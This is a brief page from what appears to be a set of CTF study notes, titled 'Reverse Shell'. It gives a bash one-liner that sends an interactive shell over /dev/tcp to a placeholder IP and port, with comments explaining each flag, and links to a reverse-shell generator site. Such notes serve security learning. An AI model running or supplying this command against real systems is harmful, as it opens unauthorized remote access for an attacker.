> For the complete documentation index, see [llms.txt](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://iptracej.gitbook.io/windows-linux-and-active-directory-ctf-notes/reverse-shell.md).

# Reverse Shell

<https://www.revshells.com/>

```bash
# Linux
bash -c 'bash -i >& /dev/tcp/<ip address>/<port number> 0>&1'

# -c : Allows you to provide a command as an string argument
# -i : Launches an interactive Bash shell.
# >& : Redirect 'both' standard input and putput to TCP IP address and port
# 0>&1 : Redirect standard input (0) to the same place as standard output(1)  
```
